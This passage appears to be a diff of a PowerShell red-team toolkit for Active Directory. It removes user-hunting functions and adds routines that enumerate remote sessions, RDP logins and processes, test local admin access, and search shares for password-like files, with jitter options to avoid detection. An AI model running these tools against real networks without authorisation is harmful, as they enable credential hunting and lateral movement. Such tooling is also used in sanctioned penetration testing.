http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' } } - end { + process { - Write-Verbose "Waiting for scanning threads to finish..." + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - $waitTimeout = Get-Date + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # end async call - for ($y = 0; $y -lt $counter; $y++) { + Write-Debug "Get-NetLoggedon result: $Result" - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - } catch { - Write-Warning "error: $_" } - finally { - $ps[$y].Dispose() + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } - - $pool.Dispose() } } -function Invoke-StealthUserHunter { - <# - .SYNOPSIS - Finds where users are logged into by checking the net sessions - on common file servers (default) or through SPN records (-SPN). +function Get-NetSession { +<# + .SYNOPSIS - Author: @harmj0y - License: BSD 3-Clause + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) - .DESCRIPTION - This function issues one query on the domain to get users of a target group, - issues one query on the domain to get all user information, extracts the - homeDirectory for each user, creates a unique list of servers used for - homeDirectories (i.e. file servers), and runs Get-NetSessions against the target - servers. Found users are compared against the users queried from the domain group, - or pulled from a pre-populated user list. Significantly less traffic is generated - on average compared to Invoke-UserHunter, but not as many hosts are covered. + .PARAMETER ComputerName - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + The ComputerName to query for active sessions. - .PARAMETER HostList - List of servers to enumerate. + .PARAMETER UserName - .PARAMETER GroupName - Group name to query for target users. + The user name to filter for active sessions. - .PARAMETER OU - OU to query for target users. + .OUTPUTS - .PARAMETER Filter - The complete LDAP query string to use to query for users. + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions. - .PARAMETER UserName - Specific username to search for. + .EXAMPLE - .PARAMETER SPN - Use SPN records to get your target sets. + PS C:\> Get-NetSession - .PARAMETER UserList - List of usernames to search for. + Returns active sessions on the local host. - .PARAMETER CheckAccess - Check if the current user has local admin access to found machines. + .EXAMPLE - .PARAMETER StopOnSuccess - Stop hunting after finding a user. + PS C:\> Get-NetSession -ComputerName sqlserver - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + Returns active sessions on the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> - .PARAMETER Delay - Delay between enumerating fileservers, defaults to 0 + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', - .PARAMETER Jitter - Jitter for the fileserver delay, defaults to +/- 0.3 + [String] + $UserName = '' + ) - .PARAMETER Domain - Domain to query for users file server locations. + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } - .PARAMETER ShowAll - Return all user location results. + process { - .PARAMETER Source - The systems to use for session enumeration ("DC","File","All"). Defaults to "all" + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - .EXAMPLE - > Invoke-StealthUserHunter - Finds machines on the local domain where domain admins have sessions from. + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - .EXAMPLE - > Invoke-StealthUserHunter -Domain testing - Finds machines on the 'testing' domain where domain admins have sessions from. + # get session information + $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - .EXAMPLE - > Invoke-StealthUserHunter -UserList users.txt - Finds machines on the local domain where users from a specified list have - sessions from. + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - .EXAMPLE - > Invoke-StealthUserHunter -CheckAccess - Finds machines on the local domain where domain admins have sessions from - and checks if the current user has local administrator access to those - found machines. + Write-Debug "Get-NetSession result: $Result" - .EXAMPLE - > Invoke-StealthUserHunter -GroupName "Power Users" -Delay 60 - Find machines on the domain where members of the "Power Users" groups - have sessions with a 60 second (+/- *.3) randomized delay between - touching each file server. + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - .LINK - http://blog.harmj0y.net - #> + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 - [string] - $HostList, + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - [string] - $GroupName = 'Domain Admins', + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} - [string] - $OU, - [string] - $Filter, +function Get-NetRDPSession { +<# + .SYNOPSIS - [string] - $UserName, + This function will execute the WTSEnumerateSessionsEx and + WTSQuerySessionInformation Win32API calls to query a given + RDP remote service for active sessions and originating IPs. + This is a replacement for qwinsta. - [Switch] - $SPN, + Note: only members of the Administrators or Account Operators local group + can successfully execute this functionality on a remote target. - [Switch] - $CheckAccess, + .PARAMETER ComputerName - [Switch] - $StopOnSuccess, + The hostname to query for active RDP sessions. - [Switch] - $NoPing, + .EXAMPLE - [UInt32] - $Delay = 0, + PS C:\> Get-NetRDPSession - [double] - $Jitter = .3, + Returns active RDP/terminal sessions on the local host. - [string] - $UserList, + .EXAMPLE - [string] - $Domain, + PS C:\> Get-NetRDPSession -ComputerName "sqlserver" - [Switch] - $ShowAll, + Returns active RDP/terminal sessions on the 'sqlserver' host. +#> - [string] - [ValidateSet("DC","File","All")] - $Source ="All" + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' ) - + begin { if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } + } - # users we're going to be searching for - $TargetUsers = @() + process { - # resulting servers to query - $Servers = @() + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - # random object for delay - $randNo = New-Object System.Random + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName) + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + Write-Debug "WTSOpenServerEx handle: $Handle" - Write-Verbose "[*] Running Invoke-StealthUserHunter with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) - # if we're showing all results, skip username enumeration - if($ShowAll){} - # if we get a specific username, only use that - elseif ($UserName){ - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } - } - else{ - # otherwise default to the group name to query for target users - Write-Verbose "[*] Querying domain group '$GroupName' for target users..." - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.MemberName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } - } + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State - if ((-not $ShowAll) -and (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0))){ - Write-Warning "[!] No users found to search for!" - return $Null - } + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - elseif($SPN){ - # set the unique set of SPNs from user objects - $Hosts = Get-NetUserSPNs | Foreach-Object { - $_.ServicePrincipalName | Foreach-Object { - ($_.split("/")[1]).split(":")[0] - } - } | Sort-Object -Unique - } - } + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) - process { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession - if ($Source -eq "File"){ - Write-Verbose "[*] Querying domain $targetDomain for File Servers..." - [Array]$Hosts = Get-NetFileServers -Domain $targetDomain + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + $Offset += $Increment + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } - elseif ($Source -eq "DC"){ - Write-Verbose "[*] Querying domain $targetDomain for Domain Controllers..." - [Array]$Hosts = Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} - } - elseif ($Source -eq "All") { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - [Array]$Hosts = Get-NetFileServers -Domain $targetDomain - $Hosts += Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} - } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbuse "LastError: $Err" } + } +} - # uniquify the host list and then randomize it - $Hosts = $Hosts | Sort-Object -Unique - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" - $counter = 0 +function Invoke-CheckLocalAdminAccess { +<# + .SYNOPSIS - # iterate through each target file server - foreach ($server in $Hosts){ + This function will use the OpenSCManagerW Win32API call to to establish + a handle to the remote host. If this succeeds, the current user context + has local administrator acess to the target. - $found = $false - $counter = $counter + 1 + Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' - Write-Verbose "[*] Enumerating host $server ($counter of $($Hosts.count))" + .PARAMETER ComputerName - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + The hostname to query for active sessions. - # optionally check if the server is up first - $up = $true - if(-not $NoPing){ - $up = Test-Server -Server $server - } - if ($up){ - # grab all the sessions for this fileserver - $sessions = Get-NetSessions $server - - # search through all the sessions for a target user - foreach ($session in $sessions) { - Write-Debug "[*] Session: $session" - # extract fields we care about - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time + .OUTPUTS - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $CurrentUserBase)){ - # if the session user is in the target list, display some output - if ($ShowAll -or $($TargetUsers -contains $username)){ - $found = $true - $ip = Get-HostIP -hostname $Server - - if($cname.StartsWith("\\")){ - $cname = $cname.TrimStart("\") - } + $True if the current user has local admin access to the hostname, $False otherwise - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $cname + .EXAMPLE - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $cname - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } - } + PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver - if ($StopOnSuccess -and $found) { - Write-Verbose "[*] Returning early" - return - } - } - } -} + Returns active sessions on the local host. + .LINK -function Invoke-UserProcessHunter { - <# - .SYNOPSIS - Query the process lists of remote machines, searching for - specific user processes. + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> - Author: @harmj0y - License: BSD 3-Clause + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = 'localhost' + ) - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } - .PARAMETER HostList - List of hostnames/IPs to search. + process { - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - .PARAMETER GroupName - Group name to query for target users. + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) - .PARAMETER OU - The OU to pull users from. + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" - .PARAMETER Filter - The complete LDAP filter string to use to query for users. + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $False + } + } +} - .PARAMETER UserName - Specific username to search for. - .PARAMETER UserList - List of usernames to search for. +function Get-LastLoggedOn { +<# + .SYNOPSIS - .PARAMETER RemoteUserName - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. + This function uses remote registry functionality to return + the last user logged onto a target machine. - .PARAMETER RemotePassword - The password to use for the WMI call on a remote system. + Note: This function requires administrative rights on the + machine you're enumerating. - .PARAMETER StopOnSuccess - Stop hunting after finding a process. + .PARAMETER ComputerName - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + The hostname to query for open files. Defaults to the + local host name. - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + .OUTPUTS - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + The last loggedon user name, or $Null if the enumeration fails. - .PARAMETER Domain - Domain for query for machines. + .EXAMPLE - .EXAMPLE - > Invoke-UserProcessHunter -Domain 'testing' - Finds machines on the 'testing' domain where domain admins have a - running process. + PS C:\> Get-LastLoggedOn - .EXAMPLE - > Invoke-UserProcessHunter -UserList users.txt -HostList hosts.txt - Finds machines in hosts.txt where any members of users.txt have running - processes. + Returns the last user logged onto the local machine. - .EXAMPLE - > Invoke-UserProcessHunter -GroupName "Power Users" -Delay 60 - Find machines on the domain where members of the "Power Users" groups have - running processes with a 60 second (+/- *.3) randomized delay between - touching each host. + .EXAMPLE + + PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 - .LINK - http://blog.harmj0y.net - #> + Returns the last user logged onto WINDOWS1 +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = "." + ) - [string] - $GroupName = 'Domain Admins', + process { - [string] - $OU, + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - [string] - $Filter, + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" + $HKLM = 2147483650 + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $Reg.GetStringValue($HKLM, $Key, $Value).sValue + } + catch { + Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." + $Null + } + } +} - [string] - $UserName, - [string] - $RemoteUserName, +function Get-NetProcess { +<# + .SYNOPSIS - [string] - $RemotePassword, + Gets a list of processes/owners on a remote machine. - [switch] - $StopOnSuccess, + .PARAMETER ComputerName - [Switch] - $NoPing, + The hostname to query processes. Defaults to the local host name. - [UInt32] - $Delay = 0, + .PARAMETER RemoteUserName - [double] - $Jitter = .3, + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. - [string] - $UserList, + .PARAMETER RemotePassword - [string] - $Domain + The password to use for the WMI call on a remote system. - ) + .EXAMPLE - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + PS C:\> Get-NetProcess -ComputerName WINDOWS1 + + Returns the current processes for WINDOWS1 +#> - # users we're going to be searching for - $TargetUsers = @() + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, - # random object for delay - $randNo = New-Object System.Random + [String] + $RemoteUserName, - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName).toLower() + [String] + $RemotePassword + ) - # get the target domain - if($Domain){ - $targetDomain = $Domain + process { + + if($ComputerName) { + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName } - else{ - # use the local domain - $targetDomain = $null + else { + # default to the local hostname + $ComputerName = [System.Net.Dns]::GetHostName() } - Write-Verbose "[*] Running Invoke-UserProcessHunter with a delay of $delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + $Credential = $Null - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + if($RemoteUserName) { + if($RemotePassword) { + $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force + $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - # if we get a specific username, only use that - if ($UserName){ - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList + # try to enumerate the processes on the remote machine using the supplied credential + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } } else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return + Write-Warning "[!] RemotePassword must also be supplied!" } } - else{ - # otherwise default to the group name to query for target users - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.MemberName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } + else { + # try to enumerate the processes on the remote machine + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } } + } +} - $TargetUsers = $TargetUsers | ForEach-Object {$_.ToLower()} - if (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0)){ - Write-Warning "[!] No users found to search for!" - return - } - } +function Find-InterestingFile { +<# + .SYNOPSIS - process { - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + This function recursively searches a given UNC path for files with + specific keywords in the name (default of pass, sensitive, secret, admin, + login and unattend*.xml). The output can be piped out to a csv with the + -OutFile flag. By default, hidden files/folders are included in search results. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } + .PARAMETER Path - $HostCount = $Hosts.Count + UNC/local path to recursively search. - $counter = 0 + .PARAMETER Terms - foreach ($server in $Hosts){ + Terms to search for. - $counter = $counter + 1 + .PARAMETER OfficeDocs - # make sure we get a server name - if ($server -ne ''){ - $found = $false + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + .PARAMETER FreshEXEs - Write-Verbose "[*] Enumerating target $server ($counter of $($Hosts.count))" + Switch. Find .EXEs accessed within the last week. - # try to enumerate all active processes on the remote host - # and see if any target users have a running process - $processes = Get-NetProcesses -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -HostName $server -ErrorAction SilentlyContinue + .PARAMETER LastAccessTime - foreach ($process in $processes) { - # if the session user is in the target list, display some output - if ($TargetUsers -contains $process.User){ - $found = $true - $process - } - } + Only return files with a LastAccessTime greater than this date value. - if ($StopOnSuccess -and $found) { - Write-Verbose "[*] Returning early" - return - } - } - } - } -} + .PARAMETER LastWriteTime + Only return files with a LastWriteTime greater than this date value. -function Invoke-ProcessHunter { - <# - .SYNOPSIS - Query the process lists of remote machines and searches - the process list for a target process name. + .PARAMETER CreationTime - Author: @harmj0y - License: BSD 3-Clause + Only return files with a CreationTime greater than this date value. - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + .PARAMETER ExcludeFolders - .PARAMETER ProcessName - The name of the process to hunt. Defaults to putty.exe + Switch. Exclude folders from the search results. - .PARAMETER HostList - List of hostnames/IPs to search. + .PARAMETER ExcludeHidden - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + Switch. Exclude hidden files and folders from the search results. - .PARAMETER RemoteUserName - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. + .PARAMETER CheckWriteAccess - .PARAMETER RemotePassword - The password to use for the WMI call on a remote system. + Switch. Only returns files the current user has write access to. - .PARAMETER StopOnSuccess - Stop hunting after finding a process. + .PARAMETER OutFile - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + Output results to a specified csv output file. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .OUTPUTS + + The full path, owner, lastaccess time, lastwrite time, and size for each found file. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path C:\Backup\ + + Returns any files on the local path C:\Backup\ that have the default + search term set in the title. + + .EXAMPLE - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv + + Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' + or 'email' in the title, and writes the results out to a csv file + named 'out.csv' - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + .EXAMPLE - .PARAMETER Domain - Domain for query for machines. + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) - .EXAMPLE - > Invoke-ProcessHunter -ProcessName customlogin.exe + Returns any files on the remote path \\WINDOWS7\Users\ that have the default + search term set in the title and were accessed within the last week. - .LINK - http://blog.harmj0y.net - #> + .LINK + + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] + [Parameter(ValueFromPipeline=$True)] + [String] + $Path = '.\', + [String[]] - $Hosts, + $Terms, - [string] - $ProcessName = "putty", + [Switch] + $OfficeDocs, - [string] - $HostList, + [Switch] + $FreshEXEs, - [string] - $HostFilter, + [String] + $LastAccessTime, - [string] - $RemoteUserName, + [String] + $LastWriteTime, - [string] - $RemotePassword, + [String] + $CreationTime, - [switch] - $StopOnSuccess, + [Switch] + $ExcludeFolders, [Switch] - $NoPing, + $ExcludeHidden, - [UInt32] - $Delay = 0, + [Switch] + $CheckWriteAccess, - [double] - $Jitter = .3, + [String] + $OutFile, - [string] - $Domain + [Switch] + 